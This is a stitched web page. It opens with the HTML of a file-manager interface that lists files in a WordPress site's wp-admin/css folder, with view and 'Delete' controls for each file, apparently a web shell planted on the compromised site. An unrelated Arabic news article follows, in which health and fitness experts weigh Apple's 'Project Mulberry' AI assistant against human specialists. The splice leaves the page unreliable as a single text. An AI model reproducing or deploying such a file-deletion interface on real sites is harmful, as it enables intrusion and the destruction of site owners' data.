            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/site-health.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fsite-icon-rtl.css"> site-icon-rtl.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/site-icon-rtl.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fsite-icon-rtl.min.css"> site-icon-rtl.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/site-icon-rtl.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fsite-icon.css"> site-icon.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/site-icon.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fsite-icon.min.css"> site-icon.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/site-icon.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fthemes-rtl.css"> themes-rtl.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/themes-rtl.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fthemes-rtl.min.css"> themes-rtl.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/themes-rtl.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fthemes.css"> themes.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/themes.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fthemes.min.css"> themes.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/themes.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fwidgets-rtl.css"> widgets-rtl.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/widgets-rtl.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fwidgets-rtl.min.css"> widgets-rtl.min.css</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-admin/css/widgets-rtl.min.css">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
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	<nav id="breadcrumb"><a href="https://tahkoom.com/"><span class="tie-icon-home" aria-hidden="true"></span> الرئيسية</a><em class="delimiter">/</em><a href="https://tahkoom.com/category/%d8%ae%d8%af%d9%85%d8%a9/">خدمة</a><em class="delimiter">/</em><span class="current">حين تتحول الساعة الذكية إلى عيادة متنقلة.. من يفهم جسدك الخوارزميات أم الأخصائي؟</span></nav><script type="application/ld+json">{"@context":"http:\/\/schema.org","@type":"BreadcrumbList","@id":"#Breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"item":{"name":"\u0627\u0644\u0631\u0626\u064a\u0633\u064a\u0629","@id":"https:\/\/tahkoom.com\/"}},{"@type":"ListItem","position":2,"item":{"name":"\u062e\u062f\u0645\u0629","@id":"https:\/\/tahkoom.com\/category\/%d8%ae%d8%af%d9%85%d8%a9\/"}}]}</script>
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			حين تتحول الساعة الذكية إلى عيادة متنقلة.. من يفهم جسدك الخوارزميات أم الأخصائي؟		</h1>

		<div class="single-post-meta post-meta clearfix"><span class="date meta-item tie-icon">مايو 18, 2025</span><div class="tie-alignright"><span class="meta-views meta-item very-hot"><span class="tie-icon-fire" aria-hidden="true"></span> 8٬734 </span><span class="meta-reading-time meta-item"><span class="tie-icon-bookmark" aria-hidden="true"></span> 4 دقائق</span> </div></div><!-- .post-meta -->	</div><!-- .entry-header /-->

	
	
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<p class="MsoNormal"><strong>كتبت: فرح سمير</strong></p>



<p class="MsoNormal"><strong><mark class="has-inline-color has-pale-cyan-blue-color" style="background-color: rgba(0, 0, 0, 0); color: #8ed1fc;"> مدربك، طبيبك، وخبير التغذية… داخل هاتفك</mark></strong></p>



<p class="MsoNormal">! في خطوة جديدة تعزز مكانتها في عالم الصحة الرقمية، أعلنت شركة “آبل” عن مشروعها الطموح Project Mulberry، الذي يجمع بين الذكاء الاصطناعي والبيانات الصحية الشخصية لتقديم توصيات طبية وغذائية مصممة خصيصًا لكل مستخدم. المشروع يأتي كجزء من توسع آبل في مجالات الصحة والتغذية والعلاج الطبيعي. يهدف Project Mulberry إلى تحويل الهاتف الذكي إلى مساعد صحي افتراضي، يستند إلى معلومات دقيقة يتم جمعها من أجهزة مثل آيفون وآبل ووتش، لتقديم نصائح تتعلق بالنوم، التغذية، التمارين الرياضية، وحتى الوضعية الجسدية. يركز التطبيق على التكامل بين التحليل البيولوجي، والنصائح الشخصية، والمحتوى التعليمي المرئي. ويطمح إلى تقديم تجربة أكثر شمولاً… تبدأ من قياس عدد الخطوات، ولا تنتهي قبل تقديم خطة علاجية وتغذوية تراعي تفاصيل المستخدم. وقد استعانت آبل بفريق من الأطباء وخبراء التغذية والعلاج الطبيعي، لتدريب نموذجها الذكي وتحسين دقة التوصيات. لكن في خضم هذا التطور، تطرح تساؤلات مشروعة: هل يمكن لهذه التطبيقات أن تحل فعلاً محل الاستشارات الطبية المباشرة؟ وهل تمثل خطرًا على صحة المستخدم إن تم الاعتماد عليها بشكل كامل؟</p>



<p class="MsoNormal"><strong><mark class="has-inline-color has-pale-cyan-blue-color" style="background-color: rgba(0, 0, 0, 0); color: #8ed1fc;"> “الذكاء الاصطناعي لا يملك حدسك”</mark></strong></p>



<p class="MsoNormal">الدكتورة &#8221; إيمان الحجار&#8221; استشاري التغذية؛ ترى أن الذكاء الاصطناعي لا يمكن الاعتماد عليه بشكل كامل في التخطيط الغذائي. خلال تدريب الطلبة، لاحظت أن أدوات الذكاء الاصطناعي ترتكب أخطاء واضحة في حساب السعرات، وتعتمد على معلومات غير مكتملة أو غير دقيقة، فضلًا عن تجاهلها لعادات وثقافات المجتمعات، مثل اقتراح أطعمة غير مقبولة دينيًا أو باهظة الثمن لا تناسب جميع الفئات. ترى د. إيمان أن التغذية لا تقتصر على وضع خطة مكتوبة، بل تحتاج إلى تواصل إنساني مباشر مع المريض، لفهم حالته النفسية والسلوكية، إذ قد يخفي بعض العادات الغذائية الحقيقية أو يتظاهر باتباع نظام صحي. من خلال الملاحظة المباشرة ولغة الجسد، تستطيع كمتخصصة كشف مشاكل لا يمكن للتطبيقات رصدها. تؤكد أن بعض المرضى يختبرون الذكاء الاصطناعي، وأحيانًا حتى الأخصائيين أنفسهم، كما تختلف شخصيات المرضى بين النرجسية أو السلبية أو الإنكار، ما يجعل التعامل الإنساني المباشر ضرورة، خاصة في حالات الأكل العاطفي أو الاضطرابات السلوكية المرتبطة بالتغذية. رغم ذلك، ترى أن الذكاء الاصطناعي يمكن أن يكون مكملًا مفيدًا، لا بديلًا. فهي استخدمته مثلًا مع الطلبة مرضى السكري في تطبيق ترفيهي يساعدهم على التعرف إلى السعرات الحرارية بشكل ممتع. كما تسهم التطبيقات في دعم الأخصائيين من خلال الردود التلقائية أو المتابعة اليومية، لكن مع ضرورة أن يكون التحكم بيد الأخصائي، لا العكس. وتحذر من مخاطر التطبيقات غير الموثوقة التي قد تنتهك الخصوصية أو تستغل البيانات، مشددة على أهمية المتابعة الشخصية مع الطبيب، لما تحققه من تواصل وجداني وتأثير نفسي إيجابي، خصوصًا عند إشراك المرضى في أنشطة جماعية ومشاركة وجباتهم، مما يشعرهم بالانتماء والدعم، ويقلل من العزلة والانطوائية. وتختم بأن العامل البشري لا غنى عنه، لأن مجرد الحوار بين المريض والأخصائي يمثل علاجًا بحد ذاته، ووسيلة لفهم أعمق ونتائج أفضل</p>



<p class="MsoNormal"><strong><mark class="has-inline-color has-pale-cyan-blue-color" style="background-color: rgba(0, 0, 0, 0); color: #8ed1fc;">العلاج الطبيعي: دعم لا بديل</mark></strong></p>



<p class="MsoNormal">أما في مجال العلاج الطبيعي، فيؤكد د. محمود عادل، استشاري العلاج الطبيعي –، أن الذكاء الاصطناعي يتمتع بإمكانات ملحوظة في تقديم إرشادات مخصصة اعتمادًا على تحليل بيانات المستخدمين، لكن الإشراف المتخصص يظل ضروريًا لضمان السلامة والفعالية، خاصة أن السلامة تمثل أولوية قصوى. ويشدد على أن المريض لا يجب أن يخضع لأي تجربة علاجية دون توجيه من مختص. يرى أن الذكاء الاصطناعي يمكن أن يكون مساعدًا في حالات محددة بسيطة أو لأغراض وقائية، وقد يشبه جزئيًا بعض جوانب جلسات العلاج الطبيعي. ومع ذلك، لا يمتلك القدرة على الحلول محل عملية التقييم والعلاج الشاملة التي يقوم بها الأخصائي، لأهمية المتابعة الدقيقة لحالة المريض. ويشير إلى أن مشروعًا مثل “Project Mulberry” يمكن أن يكون عنصرًا داعمًا لجلسات العلاج الطبيعي، لكنه لا يغني عنها، بل يسهل عملية المتابعة بين الجلسات ويوفر الوقت للمعالج والمريض. أما عن المخاطر، فيحذر من الاعتماد الكلي على التوجيهات التقنية دون استشارة أخصائي، لما قد يسببه ذلك من أخطاء في التشخيص أو أداء تمارين غير مناسبة، وهو ما قد يؤدي إلى تفاقم الإصابة، خصوصًا في حالات العضلات أو العمود الفقري. ويتابع: حتى مع تزويد التطبيقات بصور إشعاعية، يصعب عليها تقييم ما قد يضر المريض، كما أن الفيديوهات والصور يمكن أن تساعد في شرح التمارين، لكنها لا تعوض التوجيه المباشر، خاصة في الحالات المعقدة التي تتطلب تعديلاً مستمرًا بحسب استجابة الجسم التدريب الرياضي: حماس لا يمكن برمجته</p>



<p class="MsoNormal"><strong><mark class="has-inline-color has-pale-cyan-blue-color" style="background-color: rgba(0, 0, 0, 0); color: #8ed1fc;">المدرب الرقمي في جيبك…،</mark></strong></p>



<p class="MsoNormal"> تؤكد المدربة المعتمدة شيماء بركات أن الذكاء الاصطناعي، رغم تطوره، لا يمكن أن يحل محل المدرب البشري بأي شكل من الأشكال. وترى شيماء أن أنظمة الذكاء الاصطناعي قد تكون مفيدة في بعض الجوانب التقنية، خاصة عند توفر بيانات دقيقة وواضحة، لكنها لا تمتلك الفهم الكامل لاحتياجات كل مستخدم على حدة. كما أن الاعتماد على كاميرا الهاتف لتحليل الحركات لا يضاهي الملاحظة الفورية والخبرة العملية التي يتمتع بها المدرب، لا سيما أن تقييم الأداء البدني يتطلب قراءة دقيقة لتفاعل الجسم واستجابته أثناء التمرين. وتحذر من الاعتماد الكلي على هذه التطبيقات دون إشراف بشري مباشر، مشيرة إلى أن غياب العنصر الإنساني قد يؤدي إلى مشكلات عديدة، أبرزها الإصابة أو الفشل في تحقيق الأهداف، إضافة إلى شعور المتدرب بالملل أو فقدان الحافز بسبب غياب التشجيع والدعم اللحظي. كما تلفت إلى أن الذكاء الاصطناعي قد لا يكون قادرًا على التعامل مع الحالات الفردية الجديدة أو النادرة، وهو ما قد ينتج عنه عواقب سلبية عند غياب التقييم البشري المتخصص. وتختتم شيماء رأيها بالتأكيد على أن “التطبيقات الذكية ستظل أدوات مساعدة مفيدة، لكنها لا يمكن أن تحل محل التفاعل البشري الحي، أو تلغي الحاجة إلى خبرة المدرب الشخصي ومتابعته الدقيقة.” ميزة التطوير المستمر… ولكن! مشروع آبل مدعوم بفريق طبي يعمل على تدريب نموذج الذكاء الاصطناعي باستمرار، ما يعزز دقة التوصيات مع الوقت. كما أن إضافة خاصية متابعة التغذية وتحليل نمط النوم ومراقبة التمارين تجعل من التطبيق منصة شاملة. ومع ذلك، يبقى الاعتماد الكلي على الخوارزميات محل جدل. “ربما يكون المشروع مكملاً ممتازًا للرعاية الصحية، لكنه لا يجب أن يكون بديلاً عنها” ، يقول د. محمود. أداة مساعدة لا بديل مطلق: من الواضح أن الذكاء الاصطناعي بدأ يلعب دورًا متزايدًا في عالم الصحة. لكن حتى الآن، تظل قدراته محدودة أمام تعقيد الجسد البشري. التطبيقات الذكية قد تسهم في تحسين نمط الحياة، لكنها لا يمكن أن تحل محل المعرفة البشرية المتخصصة. في النهاية، الصحة تظل مسؤولية مشتركة بين الإنسان… والتقنية.</p>

			
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